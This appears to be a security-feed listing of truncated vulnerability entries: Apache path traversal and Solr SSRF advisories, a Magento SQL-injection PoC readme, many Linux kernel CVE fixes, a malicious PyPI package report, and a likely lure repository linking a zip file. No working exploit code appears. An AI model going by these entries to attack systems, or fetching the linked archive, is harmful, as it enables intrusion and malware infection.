Apache 2.4.49 - Path Traversal and Remote Code Execution

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed...

Apache Solr <=8.8.1 - Server-Side Request Forgery

Apache Solr versions 8.8.1 and prior contain a server-side request forgery vulnerability. The ReplicationHandler normally registered at "/replication" under a Solr core in Apache Solr has a "masterUrl" also "leaderUrl" alias parameter that is used to designate another ReplicationHandler on anothe...

Magento-CVE-2019-7139-SQLi-PoC

CVE-2019-7139 PoC: Magento SQL Injection This repository contains a proof-of-concept PoC exploit for CVE-2019-7139 PRODSECBUG-2198, an unauthenticated SQL injection vulnerability in Magento, discovered by Charles Fol of Ambionics Security. Vulnerability Details CVE ID : CVE-2019-7139 Affected...

EphemeralNet

EphemeralNet A secure P2P network with custom Relay for hostile NATs, built in C++20. Programmable forgetting for high-assurance peer-to-peer storage. Why EphemeralNet? Shardian designs infrastructure for teams that take deletion guarantees as seriously as confidentiality. EphemeralNet is our C++...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - Run Commands Easily and Securely 🚀 Overview CVE-2025-55182 is a vulnerability in https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip and React Server Components. This issue lets unauthorized users...

Malicious code in my-private-pkg (PyPI)

Version 99.1.1 of my-private-pkg executes a custom setuptools install hook while a wheel is built. The hook launches myprivatepkg/index.py, which collects the current username, working directory, hostname, resolved local IP address, operating system, and machine architecture, then attempts to POS...

CVE-2026-98125

In the Linux kernel, the following vulnerability has been resolved: smb/client: fix stale page cache in insert/collapse range smb3insertrange and smb3collapserange use truncatepagecacherange to invalidate the affected page cache. However, if off or oldeof is not page-aligned, the boundary pages a...

CVE-2026-97526

In the Linux kernel, the following vulnerability has been resolved: s390/pai: Support CPU hotplug for PMU PAI The command 'perf stat -e paicrypto/CRYPTOALL/ -- ' crashes the kernel when CPUs are hotplug added during that run. Root cause is the missing allocation of per-CPU data structures for tha...

Linux Distros Unpatched Vulnerability : CVE-2026-98067

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - erofs: disable LZ4 rolling decompression for now LZ4 rolling decompression 1 was introduced to reduce the memory footprint of temporary pages: For many cases, i...

Linux Distros Unpatched Vulnerability : CVE-2026-98161

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - nvdimm: pmem: keep PREFLUSH before data writes pmemsubmitbio records a REQPREFLUSH error, but continues to copy the bio data and can later overwrite the error...

Linux Distros Unpatched Vulnerability : CVE-2026-97547

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - xfs: fix exchange-range reflink flag clearing issue with INO1WRITTEN When exchanging two full-file ranges, xmicanexchangereflinkflags can move the reflink inode...

UBUNTU-CVE-2026-97547

In the Linux kernel, the following vulnerability has been resolved: xfs: fix exchange-range reflink flag clearing issue with INO1WRITTEN When exchanging two full-file ranges, xmicanexchangereflinkflags can move the reflink inode flag from the file that currently has it to the other file, as long ...

UBUNTU-CVE-2026-98071

In the Linux kernel, the following vulnerability has been resolved: net/rds: clear cpflags bits individually in rdsconnpathreset rdsconnpathreset wipes the whole flag word with a plain cp-cpflags = 0 store. Every other accessor of that word uses atomic bitops, and some of them can run concurrentl...

CVE-2026-97547

In the Linux kernel, the following vulnerability has been resolved: xfs: fix exchange-range reflink flag clearing issue with INO1WRITTEN When exchanging two full-file ranges, xmicanexchangereflinkflags can move the reflink inode flag from the file that currently has it to the other file, as long ...

Linux Distros Unpatched Vulnerability : CVE-2026-97542

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - xfs: bail out on bitmap errors in xrepagflfill LOLLM also points out that the xagbbitmapset call in xrepagflfill can fail, but we don't check the result of...

Linux Distros Unpatched Vulnerability : CVE-2026-98124

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - smb/client: invalidate fscache for fallocate range operations smb3zerorange, smb3punchhole, smb3insertrange, and smb3collapserange modify file contents through...

Linux Distros Unpatched Vulnerability : CVE-2026-98137

"The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ntfs: treat any nonzero dio zero-range return as an error ntfsdiozerorange returns either 0 or a negative errno from blkdevissuezeroout %NASLMINLEVEL 80900 C...

Weaponizing Ground Truth: Data Poisoning Attacks by Exploiting Boundary Misalignment between Antivirus Software and Learning-Based Detectors

Machine-learning ML-based malware detectors are commonly trained using labels obtained from antivirus AV engines and aggregation services e.g., VirusTotal. This practice assumes AV-generated labels provide reliable supervision. However, small byte-level modifications can substantially alter AV...

Mattermost Server 10.11.x < 10.11.23 / 11.7.x < 11.7.8 / 11.8.x < 11.8.5 / 11.9.x < 11.9.1 Incorrect Authorization (MMSA-2026-00702)

The version of Mattermost Server installed on the remote host is affected by a vulnerability as referenced in the MMSA-2026-00702 advisory. - Mattermost versions 11.9.x = 11.9.0, 11.8.x = 11.8.4, 11.7.x = 11.7.7, 10.11.x = 10.11.22 fail to sanitize Team objects returned by the data retention team...

UBUNTU-CVE-2026-98067

In the Linux kernel, the following vulnerability has been resolved: erofs: disable LZ4 rolling decompression for now LZ4 rolling decompression 1 was introduced to reduce the memory footprint of temporary pages: For many cases, it is needed for users to read small data within a compressed extent...